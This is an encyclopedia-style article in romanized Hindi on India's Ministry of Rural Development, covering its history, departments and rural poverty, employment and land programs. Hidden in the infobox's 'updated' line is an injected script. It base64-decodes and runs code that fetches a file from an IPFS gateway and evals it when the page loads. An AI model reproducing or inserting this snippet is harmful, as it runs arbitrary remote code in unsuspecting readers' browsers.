ग्रामीण विकास मंत्रालय

gramin vikas mantralay
bharat ka kulachihn|200px|center
vivaran	san mantralay 1974 ke dauran 'gramin vikas vibhag khady aur krishi mantralay' ke aang ke roop mean astitv mean aya tha.
nyay sima	bharat sarakar
mukhyalay	krishi bhavan, nee dilli
vartaman gramin vikas mantri	chaudhari bireandr sianh
uddeshy	gramin garibi ko door karana tatha gramin abadi, vishesh roop se garibi rekha se niche jivan yapan kar rahe logoan ko behatar jivan star muhaiya karana hai.
sanbandhit lekh	vitt mantralay, grih mantralay, videsh mantralay
any janakari	march, 1995 ke dauran is mantralay ka nam badalakar 'gramin kshetr tatha rozagar mantralay' rakha gaya tha.
bahari k diyaan	adhikarik vebasait
adyatan‎	19:21, 18 march 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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gramin vikas mantralay (aangrezi: Ministry of Rural Development) bharat sarakar ke mantralayoan mean se ek hai. san 1974 ke dauran yah 'gramin vikas vibhag khady aur krishi mantralay' ke aang ke roop mean astitv mean aya tha. mantralay ke nam ko samay-samay par parivartit bhi kiya gaya. march, 1995 ke dauran is mantralay ka nam badalakar 'gramin kshetr tatha rozagar mantralay' rakha gaya tha. yah mantralay vyapak karyakramoan ka karyanvayan karake gramin kshetroan mean badalav lane ke uddeshy se ek utprerak mantralay ka kary karata a raha hai. in karyakramoan ka uddeshy garibi unmoohlan, rozagar srijan, avasanrachana vikas tatha samajik suraksha adi hai.

abhipray

'gramin vikas' ka abhipray ek or jahaan logoan ka behatar arthik vikas karana hai, vahian doosari or vrihat samajik kayakalp bhi karana hai. gramin logoan ko arthik vikas ki behatar sanbhavanaean muhaiya karane ke uddeshy se gramin vikas karyakramoan mean logoan ki uttarottar bhagidari sunishchit karane, yojana ka vikendrikaran karane, bhoomi sudhar ko behatar dhang se lagoo karane aur rrin prapti ka dayara badhane ka pravadhan kiya gaya hai. praranbh mean krishi udyog, sanchar, shiksha, svasthy tatha isase sanbandhit kshetroan ke vikas par mukhy bal diya gaya tha, lekin bad mean yah mahasoos kiya gaya ki tvarit vikas keval tabhi sanbhav ho sakata hai, jab sarakari prayasoan mean buniyadi star par logoan ki pratyaksh aur apratyaksh roop se bhagidari ho. isilie 31 march, 1952 ko samuday pariyojana prashasan ke roop mean jnat ek sangathan ki yojana ayog ke adhin sthapit ki gee, jisaka kary samudayik vikas se sanbandhit karyakramoan ka sanchalan karana tha. samudayik vikas karyakram ka udghatan 2 aktoobar, 1952 ko kiya gaya tha aur yah karyakram gramin vikas ke itihas mean ek mahattvapoorn kirtiman tha.

sthapana

yah mantralay do vibhagoan se milakar banata hai- 'gramin vikas vibhag' aur 'bhoomi sansadhan vibhag'. aktoobar, 1974 ke dauran 'gramin vikas vibhag', 'khady aur krishi mantralay' ke aang ke roop mean yah mantralay astitv mean aya. 18 agast, 1979 ko 'gramin vikas vibhag' ka darja badha kar use 'gramin punargathan mantralay' ka nam diya gaya. 23 janavari, 1982 ko is mantralay ka namakaran 'gramin vikas mantralay' kiya gaya. janavari, 1985 ke dauran 'gramin vikas mantralay' ko phir se 'krishi tatha gramin vikas mantralay' ke adhin ek vibhag ke roop mean badal diya gaya, jise bad mean, sitambar, 1985 ke dauran 'krishi mantralay' ka nam diya gaya. 5 julaee, 1991 ko is vibhag ko pun: 'gramin vikas mantralay' ka darja diya gaya. 2 julaee, 1992 ko is mantralay ke adhin 'banjar bhoomi vikas vibhag' ke nam se ek aur vibhag ka gathan kiya gaya. march, 1995 ke dauran is mantralay ka pun: nam badalakar 'gramin kshetr tatha rozagar mantralay' rakh diya gaya aur isamean tin vibhag bhi shamil kiye gaye-

1. 'gramin rozagar tatha garibi unmoolan vibhag'
2. 'gramin vikas vibhag'
3. 'banjar bhoomi vikas vibhag'

uddeshy

san 1999 mean 'gramin kshetr tatha rozagar mantralay' ka phir se nam badalakar 'gramin vikas mantralay' rakha gaya. yah mantralay vyapak karyakramoan ka karyanvayan karake gramin kshetroan mean badalav lane ke uddeshy se ek utprerak mantralay ka kary karata a raha hai. in karyakramoan ka uddeshy garibi unmoohlan, rozagar srijan, avasanrachana vikas tatha samajik suraksha hai. samay ke sath-sath karyakramoan ke karyanvayan mean prapt anubhav ke adhar par tatha garib logoan ki zarooratoan ka dhyan rakhate hue, kee karyakramoan mean sanshodhan kiye gaye aur naye karyakram lagoo kiye ge. is mantralay ka mukhy uddeshy gramin garibi ko door karana tatha gramin abadi, vishesh roop se garibi rekha se niche jivan yapan kar rahe logoan ko behatar jivan star muhaiya karana hai. in uddeshyoan ki poorti gramin jivan aur karyakalapoan ke vibhinn kshetroan se sanbandhit karyakramoan ko taiyar karake, unaka vikas karake tatha unaka karyanvayan karake ki jati hai. is bat ko sunishchit karane ke uddeshy se ki arthik sudharoan ka labh samaj ke sabhi vargoan ko mile, gramin kshetroan mean jivan star ke lie mahattvapoorn samajik tatha arthik avasanrachana ke paanch karakoan ki pahachan ki gee-

1. svasthy
2. shiksha
3. peyajal
4. avas
5. s dakean

in kshetroan mean kiye ja rahe prayasoan ko aur badhane ke lie sarakar ne 'pradhanamantri gramin yojana' (piemajivaee) shuroo ki aur 'gramin vikas mantralay' ko 'pradhanamantri yojana' (piemajivaee) ke nimnalikhit bhagoan ko karyanvit karane ka dayitv sauanpa-

• peyajal apoorti
• avas nirman
• gramin s dakoan ka nirman karana

garibi unmoolan karyakram

nauvian yojana avadhi ke dauran kee garibi unmoolan karyakramoan ka punargathan kiya gaya, taki gramin kshetroan mean rah rahe garib logoan ko labh dene ke lie karyakramoan ki dakshata badhaee ja sake. 'ekikrit gramin vikas karyakram' (aeearadipi), gramin kshetroan mean mahila aur bal vikas karyakram (didabyood siare), gramin dastakaroan ko behatar aujaroan ki apoorti se sanbandhit karyakram (esaeetiare), sv-rozagar ke lie gramin yuvaoan ke prashikshan se sanbaddh karyakram (tiaravaeeeseeem), ganga kalyan yojana (jikevaee) tatha miliyan koop skim (emadabyook es) ka vilay samagr sv-rozagar yojana mean kiya gaya, jise svarnajayanti gram svay-rozagar yojana (esajiesavaee) ka nam diya gaya.

sthaniy logoan ki zarooratoan aur unaki akaankshaoan ko dhyan mean rakhate hue panchayati raj sansthaoan ka sahayog is karyakram ke karyanvayan mean liya gaya. ye sansh‍thaean yojana tatha usake karyanvayan ke vikendrikrit vikas ka roop haian. mantralay rajy sarakaroan se jor dekar yah kah raha hai ki ve panchayati raj sansthaoan ko apekshit prashasanik tatha vittiy shaktiyaan shighr dean, jaisa ki bharat ke 73vean sanvidhan sanshodhan mean kaha gaya hai. 25 disambar, 2002 ko peyajal kshetr ke adhin 'sv-jaladhara' namak naya karyakram shuroo kiya gaya, jisake adhin peyajal pariyojanaean taiyar karane, unhean karyanvit karane, unaka sanchalan karane tatha unaka rakh-rakhav karane ki shaktiyaan panchayatoan ko dene ka pravadhan hai. panchayati raj sansthaoan ka vikas prakriya mean aur sahayog lene ke uddeshy se pradhanamantri dvara 27 janavari, 2003 ko 'hariyali' namak ek naya karyakram shuroo kiya gaya. hariyali namak karyakram shuroo karane ka uddeshy banjar bhoomi vikas karyakramoan arthath 'aeedabyoodipi', 'dipiepi' aur 'didipi' ke karyanvayan mean panchayati raj sansthaoan ka sahayog prapt karana hai.

gramin mahilaoan ka sashaktikaran

gramin mahilaoan ka sashaktikaran gramin bharat ke vikas ke lie mahattvapoorn hai. mahilaoan ko vikas ki mukhy dhara mean lana bharat sarakar ka mukhy dayitv raha hai. isalie garibi unmoolan karyakramoan mean mahilaoan ke yogadan ka bhi pravadhan kiya gaya hai, taki samaj ke is varg ke lie paryapt nidhiyoan ki vyavastha ki ja sake. sanvidhan (73vaan) sanshodhan adhiniyam, 1992 mean mahilaoan ke lie chuninda padoan ke arakshan ki vyavastha hai. bharatiy sanvidhan mean arthik vikas tatha samajik nyay se sanbandhit vibhinn karyakramoan ko taiyar karake nishpadit karane ka dayitv panchayatoan ko sauanpa hai, aur kee kendr prayojit yojanaean panchayatoan ke zariye karyanvit ki ja rahi haian. is prakar panchayatoan ki mahila sadasyoan aur mahila adhyakshoan, jo buniyadi roop se panchayatoan ki nee sadasya haian, ko apekshit kaushal prapt karana hoga aur unhean netritv ka nirvah karane tatha nirnay mean sahabhagi hone ke lie apani uchit bhoomikaoan ko nibhane hetu uchit prashikshan dena hoga. panchayati raj sansthao ke chunianda pratinidhiyoan ko prashikshan dene ka dayitv buniyadi roop se rajy sarakaroan, sangh rajy kshetr prashasanoan ka hai. gramin vikas mantralay rajyoan, sangh rajy kshetroan ko bhi kuchh vittiy sahayata muhaiya karata hai, taki prashikshan karyakramoan ke star ko behatar banaya ja sake aur panchayati raj sansthaoan ke chune hue sadasyoan aur karyakartaoan ke lie kshamata nirman ki pahal ho sake.

mantralay ke vibhag

mantralay do aantarrashtriy sangathanoan arthath 'seantar aaun iantigretid rooral devalepameant aauf eshiya eand pesifik' (siaeearadiepi) tatha 'efro-eshiyan rooral devalepameant aaurganaijeshan' (eearadio) ke lie nodal vibhag hai. mantralay ke nimnalikhit tin vibhag haian-

1. gramin vikas vibhag 
2. bhoomi sansadhan vibhag 
3. peyajal aur svachchhata vibhag

sanchalit karyakram

'gramin vikas vibhag' dvara sv-rozagar srijan yojana tatha mazadoori rozagar yojana, gramin gariboan ke lie makanoan ke pravadhan aur laghu sianchaee sadhan yojana, besahara logoan ke lie samajik sahayata yojanaoan aur gramin s dak nirman yojana ka kriyanvayan kiya jata hai. isake alava, is vibhag dvara diaradie prashasan, panchayati raj sansthaoan, prashikshan tatha anusandhan, manav sansadhan vikas, svaichchhik kary vikas adi ke lie sahayak sevaean evan any gunavatta sansadhan upalabdh karae jate haian, taki karyakramoan ka samuchit karyanvayan ho sake. gramin vikas vibhag dvara sanchalit mukhy karyakram is prakar haian-

1. mahatma gaandhi rashtriy gramin rozagar garanti adhiniyam (mahatma gaandhi narega)
2. pradhanamantri gram s dak yojana (piemajiesavaee)
3. iandira avas yojana tatha svarnajayanti gram svag-rozagar yojana (esajiesavaee)

banjar bhoomi ka vikas

bhoomi sansadhan vibhag dvara desh mean banjar bhoomi ka vikas karake bayomas utpadan badhane se sanbandhit yojanaoan ka karyanvan kiya jata hai. is vibhag dvara sahayata sevaean tatha any gunavatta yukt kary bhi kiye jate haian, jaise- bhoomi sudhar, rajasv paddhati ki behatari tatha bhoo-abhilekh. yah vibhag desh mean maroo kshetroan aur sookhe pravan kshetroan ka vikas bhi karata hai. bhoomi sansadhan vibhag ke mukhy karyakram is prakar haian-

1. rashtriy bhoo-abhilekh adhunikikaran karyakram (enelaremapi)
2. ekikrit vatar shed prabandhan karyakram (aeedabyoohemapi)

inaka uddeshy avakramit bhoomi ki banjar bhoomi mean mitti tatha nami sanrakshan aur utpadakata ko badhana hai, taki logoan ki ay ko badhaya ja sake. peyajal tatha saphaee vyavastha ka pravadhan aur gramin gariboan ko saphaee suvidhaean dene ka pravadhan peyajal apoorti vibhag ke mukhy karyakalap haian. peyajal apoorti vibhag ke mukhy karyakram is prakar haian-

1. sampoorn svachchhata abhiyan (tiesasi)
2. rashtriy gramin peyajal karyakram (enaradidabyoobhapi)

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• adhikarik vebasait